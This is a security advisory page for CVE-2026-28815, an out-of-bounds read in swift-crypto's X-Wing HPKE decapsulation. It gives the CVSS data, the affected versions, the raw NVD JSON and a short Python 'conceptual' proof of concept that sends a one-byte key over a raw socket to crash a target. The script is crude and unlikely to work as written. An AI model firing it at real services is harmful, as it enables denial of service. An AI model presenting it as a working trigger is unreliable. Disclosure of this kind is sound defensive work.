Security Vulnerability Report
中文
CVE-2026-28815 CVSS 7.5 HIGH

CVE-2026-28815

Published: 2026-04-03 03:16:18
Last Modified: 2026-04-13 17:50:59

Description

A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections. This issue is fixed in swift-crypto version 4.3.1.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:apple:swift-crypto:*:*:*:*:*:swift:*:* - VULNERABLE
swift-crypto < 4.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual Proof of Concept for CVE-2026-28815 # This demonstrates the logic of sending a truncated key to trigger the OOB read. import socket def trigger_vulnerability(target_ip, target_port): # Normal X-Wing HPKE encapsulated keys have a specific length. # Sending a shorter key triggers the out-of-bounds read in the C decapsulation path. malicious_short_key = b'\x00' # 1 byte key instead of expected length try: print(f"[+] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Sending malformed HPKE encapsulated key...") s.send(malicious_short_key) print("[+] Payload sent. Check target for crash or memory disclosure.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details for testing trigger_vulnerability("127.0.0.1", 8443)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28815", "sourceIdentifier": "[email protected]", "published": "2026-04-03T03:16:18.093", "lastModified": "2026-04-13T17:50:58.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections. This issue is fixed in swift-crypto version 4.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apple:swift-crypto:*:*:*:*:*:swift:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.3.1", "matchCriteriaId": "55FB5263-51FE-416D-B17D-20EB3423BDE0"}]}]}], "references": [{"url": "https://github.com/apple/swift-crypto/security/advisories/GHSA-9m44-rr2w-ppp7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}